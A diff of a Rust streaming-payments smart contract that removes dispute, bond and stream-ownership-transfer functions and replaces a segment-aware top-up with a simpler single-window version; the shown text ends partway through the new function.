-        s.sender.require_auth();
-        if dispute::get_dispute_opt(&env, stream_id).is_some() {
-            return Err(surface::reject(Branch::TopUpDuringDispute));
-        }
-
-        let new_deposit = s
-            .deposit
-            .checked_add(amount)
-            .ok_or_else(|| surface::reject(Branch::TopUpDepositOverflow))?;
-        // A renegotiated stream prices each window on its own terms, so its
-        // capacity check is per segment (`segments_after_topup`) and the added
-        // funds grow the window being streamed. An unrenegotiated stream needs
-        // the single-window check below instead.
-        let segments = stream::get_rate_segments(&env, stream_id);
-        let new_segments = if segments.is_empty() {
-            stream::validate_capacity(new_deposit, s.duration())?;
-            segments
-        } else {
-            stream::segments_after_topup(&segments, amount)?
-        };
-
-        let stream_policy = policy::get_stream_policy(&env, Some(s.token.clone()));
-        policy::validate_top_up_args(stream_policy.as_ref(), new_deposit, s.duration())?;
-
-        // Interaction: pull the added funds from the sender. A token-side
-        // failure maps to a distinct code; the effects below never run, and
-        // no partial state survives the `Err`.
-        pull(
-            &env,
-            &s.token,
-            &s.sender,
-            amount,
-            Branch::TopUpTransferFailed,
-        )?;
-
-        // Effects: record the new deposit and announce it.
-        s.deposit = new_deposit;
-        stream::put_stream(&env, &s);
-        if !new_segments.is_empty() {
-            stream::put_rate_segments(&env, stream_id, &new_segments);
-        }
-
-        #[cfg(test)]
-        cei_trace::record("event StreamToppedUp");
-        StreamToppedUp {
-            stream_id,
-            sender: s.sender.clone(),
-            amount,
-            new_deposit,
-        }
-        .publish(&env);
-
-        Ok(())
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Recipient-initiated dispute: flags this stream (wrong address,"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " coerced creation) and freezes its cancel/top-up mutations until the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " sender calls [`StreamingPayments::resolve_dispute`] or the timelock"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " elapses and anyone calls [`StreamingPayments::expire_dispute`]."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Only the stream's recipient can raise it (their authorization is"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " required), only on an active, undisputed stream. Anti-griefing: the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " recipient posts a bond ([`StreamingPayments::required_dispute_bond`],"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " a share of the deposit that escalates with every dispute round on"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " the stream) via a prior token approval, held by the contract until"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " resolution. Accrual keeps running and accrued funds stay withdrawable"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " throughout — the freeze targets the stream's lifecycle, not the"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " recipient's earned balance.")]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Returns the recorded dispute (bond, window, expiry timestamp)."
-    )]
-    pub fn raise_dispute(env: Env, stream_id: u64) -> Result<Dispute, StreamError> {
-        let s = stream::get_stream(&env, stream_id)?;
-        if s.status != StreamStatus::Active {
-            return Err(surface::reject(Branch::StreamNotActive));
-        }
-        if dispute::get_dispute_opt(&env, stream_id).is_some() {
-            return Err(surface::reject(Branch::RaiseDisputeAlreadyActive));
-        }
-        s.recipient.require_auth();
-
-        let bond = dispute::required_bond(s.deposit, dispute::dispute_count(&env, stream_id))?;
-
-        // Interaction: pull the bond from the recipient (a prior approval is
-        // required, like `create_stream`'s deposit pull).
-        TokenClient::new(&env, &s.token).transfer_from(
-            &env.current_contract_address(),
-            &s.recipient,
-            &env.current_contract_address(),
-            &bond,
-        );
-
-        // Effects: open the dispute and record the round (escalating bond).
-        let now = env.ledger().timestamp();
-        let d = Dispute {
-            stream_id,
-            raised_by: s.recipient.clone(),
-            bond,
-            started_at: now,
-            expires_at: now.saturating_add(dispute::DISPUTE_TIMEOUT_SECONDS),
-        };
-        dispute::put_dispute(&env, &d);
-        dispute::bump_dispute_count(&env, stream_id);
-
-        DisputeRaised {
-            stream_id,
-            recipient: s.recipient,
-            bond,
-            expires_at: d.expires_at,
-        }
-        .publish(&env);
-
-        Ok(d)
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Sender-only resolution of an open dispute:"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " * `accept = true` — the dispute is legitimate: the bond is refunded"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   to the recipient and the stream is unwound with the standard"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   pro-rata cancel split (a `StreamCancelled` event accompanies the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   `DisputeResolved`). If the stream already depleted during the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   dispute (the recipient withdrew everything), only the bond is"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "   refunded.")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " * `accept = false` — bad faith: the bond is slashed to the sender as"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   compensation for the frozen window, and the stream resumes normal"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "   operation immediately.")]
-    pub fn resolve_dispute(
-        env: Env,
-        caller: Address,
-        stream_id: u64,
-        accept: bool,
-    ) -> Result<(), StreamError> {
-        caller.require_auth();
-
-        let mut s = stream::get_stream(&env, stream_id)?;
-        let d = dispute::get_dispute(&env, stream_id)?;
-        if caller != s.sender {
-            return Err(surface::reject(Branch::ResolveCallerNotSender));
-        }
-
-        // Effects: close the dispute, then optionally unwind the stream.
-        dispute::delete_dispute(&env, stream_id);
-
-        let (recipient_settlement, sender_settlement) =
-            if accept && s.status == StreamStatus::Active {
-                let amounts = stream::cancel_amounts(&env, &s)?;
-                s.status = StreamStatus::Cancelled;
-                s.withdrawn = s
-                    .withdrawn
-                    .checked_add(amounts.0)
-                    .ok_or(StreamError::MathOverflow)?;
-                stream::put_stream(&env, &s);
-
-                StreamCancelled {
-                    stream_id,
-                    cancelled_by: caller.clone(),
-                    recipient_amount: amounts.0,
-                    sender_amount: amounts.1,
-                }
-                .publish(&env);
-                amounts
-            } else {
-                (0, 0)
-            };
-
-        DisputeResolved {
-            stream_id,
-            sender: s.sender.clone(),
-            accept,
-            bond: d.bond,
-        }
-        .publish(&env);
-
-        // Interactions last (CEI): bond refund/slash plus settlement.
-        let token = TokenClient::new(&env, &s.token);
-        let bond_to_recipient = if accept { d.bond } else { 0 };
-        let bond_to_sender = if accept { 0 } else { d.bond };
-        if bond_to_recipient + recipient_settlement > 0 {
-            token.transfer(
-                &env.current_contract_address(),
-                stream::muxed(&s.recipient),
-                &(bond_to_recipient + recipient_settlement),
-            );
-        }
-        if bond_to_sender + sender_settlement > 0 {
-            token.transfer(
-                &env.current_contract_address(),
-                stream::muxed(&s.sender),
-                &(bond_to_sender + sender_settlement),
-            );
-        }
-
-        Ok(())
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Closes a dispute whose timelock has fully elapsed: the bond is split"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " (sender receives the upper half as compensation for the frozen"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " window, the recipient the remainder) and the stream resumes normally."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Callable by anyone once `now >= expires_at` — no authorization is"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " involved and no funds ever move to the trigger. Reverting the split"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " to a full bond refund would make serial disputes free for a patient"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " griefer; see `docs/ARCHITECTURE.md` for the griefing-threshold math."
-    )]
-    pub fn expire_dispute(env: Env, stream_id: u64) -> Result<(), StreamError> {
-        let s = stream::get_stream(&env, stream_id)?;
-        let d = dispute::get_dispute(&env, stream_id)?;
-        if env.ledger().timestamp() < d.expires_at {
-            return Err(surface::reject(Branch::ExpireDisputeTooEarly));
-        }
-
-        // Effects: close the dispute; the stream entry was never touched.
-        dispute::delete_dispute(&env, stream_id);
-        let (sender_share, recipient_share) = dispute::bond_shares(d.bond);
-
-        DisputeExpired {
-            stream_id,
-            recipient: s.recipient.clone(),
-            bond: d.bond,
-            sender_share,
-            recipient_share,
-        }
-        .publish(&env);
-
-        // Interactions last (CEI).
-        let token = TokenClient::new(&env, &s.token);
-        if recipient_share > 0 {
-            token.transfer(
-                &env.current_contract_address(),
-                stream::muxed(&s.recipient),
-                &recipient_share,
-            );
-        }
-        if sender_share > 0 {
-            token.transfer(
-                &env.current_contract_address(),
-                stream::muxed(&s.sender),
-                &sender_share,
-            );
-        }
-
-        Ok(())
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Proposes handing the caller's stream role (sender or recipient) to"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `new_owner`. The role does not move until `new_owner` calls"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamingPayments::accept_ownership_transfer`]."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " * Only the current sender or recipient may propose; their authorization"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   is required. A stranger is rejected with [`StreamError::NotAuthorized`]."
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " * The stream must be `Active`: ownership of a cancelled or depleted"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   stream has no future claims and cannot be transferred."
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " * Proposing to the current holder of the same role is rejected with"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   [`StreamError::InvalidTransferTarget`]."
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " * At most one unexpired proposal exists per stream. Proposing again"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   while one is pending reverts with"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   [`StreamError::OwnershipProposalPending`]; an expired proposal is"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "   removed and replaced.")]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " No tokens move and no accounting field changes at proposal time. The"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " target is recorded under its own storage key with a seven-day"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " acceptance window ([`OWNERSHIP_PROPOSAL_TTL_SECONDS`])."
-    )]
-    pub fn propose_ownership_transfer(
-        env: Env,
-        caller: Address,
-        stream_id: u64,
-        new_owner: Address,
-    ) -> Result<(), StreamError> {
-        Self::require_not_frozen(&env)?;
-        caller.require_auth();
-
-        let s = stream::get_stream(&env, stream_id)?;
-        if s.status != StreamStatus::Active {
-            return Err(surface::reject(Branch::StreamNotActive));
-        }
-        let role = Self::role_of(&s, &caller)?;
-        let current_owner = match role {
-            OwnershipRole::Sender => &s.sender,
-            OwnershipRole::Recipient => &s.recipient,
-        };
-        if new_owner == *current_owner {
-            return Err(surface::reject(Branch::ProposeInvalidTarget));
-        }
-
-        let now = env.ledger().timestamp();
-        if let Some(existing) = stream::get_pending_ownership(&env, stream_id) {
-            if now < existing.expires_at {
-                return Err(surface::reject(Branch::ProposeAlreadyPending));
-            }
-            // Stale proposals are cleared lazily so a fresh target can be
-            // proposed without a separate cleanup transaction.
-            stream::remove_pending_ownership(&env, stream_id);
-        }
-
-        let pending = PendingOwnership {
-            stream_id,
-            proposed_by: caller.clone(),
-            new_owner: new_owner.clone(),
-            role,
-            expires_at: now.saturating_add(OWNERSHIP_PROPOSAL_TTL_SECONDS),
-        };
-        stream::put_pending_ownership(&env, &pending);
-
-        OwnershipProposed {
-            stream_id,
-            current_owner: caller,
-            new_owner,
-            role,
-            expires_at: pending.expires_at,
-        }
-        .publish(&env);
-
-        Ok(())
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Accepts a pending ownership proposal. Only the proposal's `new_owner`"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " may call this, and their authorization is required."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " On success the sender or recipient role moves to the caller. The"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " stream's accounting fields (`deposit`, `withdrawn`, `start_time`,"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `end_time`, `token`, `status`, `use_oracle`) are untouched, so accrual"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " and the `0 <= withdrawn <= streamed <= deposit` invariant are unchanged:"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " what moves is the right to future payouts (recipient) or future top-ups"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " / cancellation refunds (sender). The stream id is appended to the new"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " holder's discovery index; the previous holder's append-only index keeps"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " its historical entry.")]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Expired proposals cannot be accepted: the call reverts with"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamError::OwnershipProposalExpired`]. Reverts roll back storage"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " writes, so the stale entry stays stored but is ignored forever after"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " its window; a later proposal replaces it (see"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamingPayments::propose_ownership_transfer`])."
-    )]
-    pub fn accept_ownership_transfer(
-        env: Env,
-        caller: Address,
-        stream_id: u64,
-    ) -> Result<(), StreamError> {
-        Self::require_not_frozen(&env)?;
-        caller.require_auth();
-
-        let pending = stream::get_pending_ownership(&env, stream_id)
-            .ok_or_else(|| surface::reject(Branch::NoPendingOwnership))?;
-        if caller != pending.new_owner {
-            return Err(surface::reject(Branch::AcceptNotTarget));
-        }
-        if env.ledger().timestamp() >= pending.expires_at {
-            return Err(surface::reject(Branch::OwnershipProposalExpired));
-        }
-
-        let mut s = stream::get_stream(&env, stream_id)?;
-        if s.status != StreamStatus::Active {
-            return Err(surface::reject(Branch::StreamNotActive));
-        }
-
-        // The proposal could only have been created by the address currently
-        // holding `role`, and role transfers always clear the pending key, so
-        // `proposed_by` is the previous owner by construction.
-        let previous_owner = match pending.role {
-            OwnershipRole::Sender => {
-                s.sender = caller.clone();
-                pending.proposed_by.clone()
-            }
-            OwnershipRole::Recipient => {
-                s.recipient = caller.clone();
-                pending.proposed_by.clone()
-            }
-        };
-
-        stream::put_stream(&env, &s);
-        match pending.role {
-            OwnershipRole::Sender => stream::index_sender(&env, &caller, stream_id),
-            OwnershipRole::Recipient => stream::index_recipient(&env, &caller, stream_id),
-        }
-        stream::remove_pending_ownership(&env, stream_id);
-
-        OwnershipAccepted {
-            stream_id,
-            previous_owner,
-            new_owner: caller,
-            role: pending.role,
-        }
-        .publish(&env);
-
-        Ok(())
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Cancels a pending ownership proposal. Only the current role holder that"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " created the proposal may cancel it; their authorization is required."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Cancelling is allowed after the proposal's acceptance window has"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " elapsed (it simply clears the stale entry). It emits no event: the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " proposal never changed the stream, and `OwnershipProposed` remains the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " permanent record that a proposal once existed."
-    )]
-    pub fn cancel_ownership_transfer(
-        env: Env,
-        caller: Address,
-        stream_id: u64,
-    ) -> Result<(), StreamError> {
-        Self::require_not_frozen(&env)?;
-        caller.require_auth();
-
-        let pending = stream::get_pending_ownership(&env, stream_id)
-            .ok_or_else(|| surface::reject(Branch::NoPendingOwnership))?;
-        if caller != pending.proposed_by {
-            return Err(surface::reject(Branch::CancelProposalNotProposer));
-        }
-        stream::remove_pending_ownership(&env, stream_id);
-        Ok(())
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Read-only view of a stream's pending ownership proposal, if any."
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Reading extends the proposal's storage TTL; unknown streams simply"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " return `None`.")]
-    pub fn pending_ownership_transfer(env: Env, stream_id: u64) -> Option<PendingOwnership> {
-        stream::get_pending_ownership(&env, stream_id)
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Proposes handing the **sender** role of a stream to a new address."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Only the current sender may propose, and the proposal does not move the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " role: a sender transfer changes who pays the recipient and who can"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " cancel the stream, so it is the *recipient's* decision to take. The"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " proposal therefore waits for [`StreamingPayments::accept_sender_transfer`]"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " from the recipient, inside `OWNERSHIP_PROPOSAL_TTL_SECONDS`."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `nonce` is the caller's freshness marker. It is stored with the proposal,"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " echoed by the proposal's events and must be repeated exactly by the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " consent, so a consent can never land on a proposal that was replaced in"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " the meantime.")]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `transfer_refund_rights` decides, up front, what the recipient is"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " consenting to: with `false` (the default meaning auditors expect) the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " deposit's refund claim stays with the original sender, and only the role"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " moves; with `true` the claim moves to `new_sender` as well. Refund rights"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " are never implied by a role change — the flag is the whole mechanism."
-    )]
-    pub fn propose_sender_transfer(
-        env: Env,
-        caller: Address,
-        stream_id: u64,
-        new_sender: Address,
-        nonce: u64,
-        transfer_refund_rights: bool,
-    ) -> Result<(), StreamError> {
-        Self::require_not_frozen(&env)?;
-        caller.require_auth();
-
-        let s = stream::get_stream(&env, stream_id)?;
-        if s.status != StreamStatus::Active {
-            return Err(surface::reject(Branch::StreamNotActive));
-        }
-        if caller != s.sender {
-            return Err(surface::reject(Branch::ProposeNotAuthorized));
-        }
-        // The recipient stays who they are; handing the payer role to the
-        // recipient would collapse both roles onto one address.
-        if new_sender == s.sender || new_sender == s.recipient {
-            return Err(surface::reject(Branch::ProposeInvalidTarget));
-        }
-
-        let now = env.ledger().timestamp();
-        if let Some(existing) = stream::get_pending_sender_transfer(&env, stream_id) {
-            if now < existing.expires_at {
-                return Err(surface::reject(Branch::SenderTransferPending));
-            }
-            // A proposal that aged out is replaced here rather than requiring a
-            // separate cleanup call; `expire_sender_transfer` exists for anyone
-            // who wants the reclaim (and its event) on its own.
-            stream::remove_pending_sender_transfer(&env, stream_id);
-        }
-
-        let pending = PendingSenderTransfer {
-            stream_id,
-            sender_from: caller.clone(),
-            new_sender: new_sender.clone(),
-            nonce,
-            expires_at: now.saturating_add(OWNERSHIP_PROPOSAL_TTL_SECONDS),
-            transfer_refund_rights,
-        };
-        stream::put_pending_sender_transfer(&env, &pending);
-
-        #[cfg(test)]
-        cei_trace::record("event SenderTransferProposed");
-        SenderTransferProposed {
-            stream_id,
-            sender_from: caller,
-            new_sender,
-            nonce,
-            expires_at: pending.expires_at,
-            transfer_refund_rights,
-        }
-        .publish(&env);
-
-        Ok(())
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Executes a proposed sender transfer on the recipient's consent."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The caller must be the stream's **recipient** — the party whose"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " counterparty changes — and must present the proposal's nonce. On success"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " the role moves, the sender discovery indexes are re-pointed for both"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " sides, and the hop is appended to the stream's immutable sender log."
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `deposit`, `withdrawn`, the time window and the token are untouched, so"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " accrual and the `0 <= withdrawn <= streamed <= deposit` invariant are"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " unchanged.")]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " An elapsed window is [`StreamError::SenderTransferExpired`], never a"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " silent no-op; the stale entry is then reclaimed with"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamingPayments::expire_sender_transfer`]."
-    )]
-    pub fn accept_sender_transfer(
-        env: Env,
-        caller: Address,
-        stream_id: u64,
-        nonce: u64,
-    ) -> Result<(), StreamError> {
-        Self::require_not_frozen(&env)?;
-        caller.require_auth();
-
-        let pending = stream::get_pending_sender_transfer(&env, stream_id)
-            .ok_or_else(|| surface::reject(Branch::SenderTransferNotFound))?;
-        let s = stream::get_stream(&env, stream_id)?;
-        if s.status != StreamStatus::Active {
-            return Err(surface::reject(Branch::StreamNotActive));
-        }
-        if caller != s.recipient {
-            return Err(surface::reject(Branch::SenderTransferNotConsenter));
-        }
-        if nonce != pending.nonce {
-            return Err(surface::reject(Branch::SenderTransferNonceMismatch));
-        }
-        if env.ledger().timestamp() >= pending.expires_at {
-            return Err(surface::reject(Branch::SenderTransferExpired));
-        }
-
-        // Effects (CEI): state first, then the event. No tokens move — this
-        // entrypoint changes roles only.
-        stream::apply_sender_transfer(&env, &s, &pending)?;
-        stream::remove_pending_sender_transfer(&env, stream_id);
-
-        #[cfg(test)]
-        cei_trace::record("event SenderTransferred");
-        SenderTransferred {
-            stream_id,
-            sender_from: pending.sender_from,
-            sender_to: pending.new_sender.clone(),
-            nonce,
-            refund_rights_transferred: pending.transfer_refund_rights,
-        }
-        .publish(&env);
-
-        Ok(())
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Reclaims a sender-transfer proposal whose acceptance window has elapsed."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Permissionless like the version-migration path: nothing about removing a"
-    )]
+    }
+
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " dead proposal can move funds or change an accounting field, so any keeper"
+        doc = " Adds funds to an existing active stream. The deposit grows and accrual"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " may pay the gas to free the storage. Returns the reclaimed nonce so the"
+        doc = " remains linear over the original window, so the recipient's accrued"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " caller can confirm which proposal they removed."
+        doc = " amount increases pro-rata immediately (Sablier-v1 `increaseAmount`"
     )]
+    #[cfg_attr(not(target_family = "wasm"), doc = " semantics).")]
     #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Refuses while the proposal is still live ([`StreamError::"
+        doc = " Top-ups are rejected on cancelled or depleted streams. Topping up a"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " SenderTransferNotExpired`]) — the window, not a third party, is what ends"
+        doc = " stream that has already passed `end_time` adds fully-accrued funds the"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " a recipient's option to consent — and with [`StreamError::"
+        doc = " recipient can withdraw immediately."
     )]
+    #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " SenderTransferNotFound`] when there is nothing to reclaim."
+        doc = " A token-side failure to pull the funds returns"
     )]
-    pub fn expire_sender_transfer(env: Env, stream_id: u64) -> Result<u64, StreamError> {
-        Self::require_not_frozen(&env)?;
-
-        let pending = stream::get_pending_sender_transfer(&env, stream_id)
-            .ok_or_else(|| surface::reject(Branch::SenderTransferNotFound))?;
-        if env.ledger().timestamp() < pending.expires_at {
-            return Err(surface::reject(Branch::SenderTransferNotExpired));
-        }
-        stream::remove_pending_sender_transfer(&env, stream_id);
-
-        #[cfg(test)]
-        cei_trace::record("event SenderTransferExpired");
-        SenderTransferExpired {
-            stream_id,
-            sender_from: pending.sender_from.clone(),
-            new_sender: pending.new_sender.clone(),
-            nonce: pending.nonce,
-        }
-        .publish(&env);
-
-        Ok(pending.nonce)
-    }
-
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Read-only view of a stream's pending sender transfer, if any."
+        doc = " [`StreamError::TopUpTransferFailed`] and leaves `deposit` unchanged."
     )]
-    pub fn pending_sender_transfer(env: Env, stream_id: u64) -> Option<PendingSenderTransfer> {
-        stream::get_pending_sender_transfer(&env, stream_id)
-    }
-
+    #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " The append-only sender-role log of a stream: who held the payer role at"
+        doc = " Note: extending `end_time` is intentionally not supported in v1 —"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " creation and every consented hop since. Never rewritten, so the answer to"
+        doc = " retroactively re-baselining accrual is lossy for the recipient; see"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " \"who funded this deposit?\" survives any number of transfers."
+        doc = " `docs/ARCHITECTURE.md` for the design considerations and roadmap."
     )]
-    pub fn sender_history(env: Env, stream_id: u64) -> Result<SenderHistory, StreamError> {
-        let s = stream::get_stream(&env, stream_id)?;
-        Ok(stream::sender_history(&env, &s))
-    }
+    pub fn top_up(env: Env, stream_id: u64, amount: i128) -> Result<(), StreamError> {
+        Self::require_not_frozen(&env)?;
+        if amount <= 0 {
+            return Err(surface::reject(Branch::TopUpAmountNonPositive));
+        }
+        let mut s = stream::get_stream(&env, stream_id)?;
+        if s.status != StreamStatus::Active {
+            return Err(surface::reject(Branch::StreamNotActive));
+        }
+        s.sender.require_auth();
 
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The address that receives the refund of the unstreamed remainder when the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " stream is cancelled. Equal to the current sender unless a sender transfer"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " left the claim behind (or an amendment moved it on purpose)."
-    )]
-    pub fn refund_target(env: Env, stream_id: u64) -> Result<Address, StreamError> {
-        let s = stream::get_stream(&env, stream_id)?;
-        Ok(stream::refund_target(&env, &s))
-    }
+        let new_deposit = s
+            .deposit
+            .checked_add(amount)
+            .ok_or_else(|| surface::reject(Branch::TopUpDepositOverflow))?;
+        stream::validate_capacity(new_deposit, s.duration())?;
 
-    /// Resolves which role `caller` currently holds on `s`.
-    fn role_of(s: &Stream, caller: &Address) -> Result<OwnershipRole, StreamError> {
-        if caller == &s.sender {
-            Ok(OwnershipRole::Sender)
-        } else if caller == &s.recipient {
-            Ok(OwnershipRole::Recipient)
-        } else {
-            Err(surface::reject(Branch::ProposeNotAuthorized))
+        let stream_policy = policy::get_stream_policy(&env, Some(s.token.clone()));
+        policy::validate_top_up_args(stream_policy.as_ref(), new_deposit, s.duration())?;
+
+        // Interaction: pull the added funds from the sender. A token-side
+        // failure maps to a distinct code; the effects below never run, and
+        // no partial state survives the `Err`.
+        pull(
+            &env,
+            &s.token,
+            &s.sender,
+            amount,
+            Branch::TopUpTransferFailed,
+        )?;
+
+        // Effects: record the new deposit and announce it.
+        s.deposit = new_deposit;
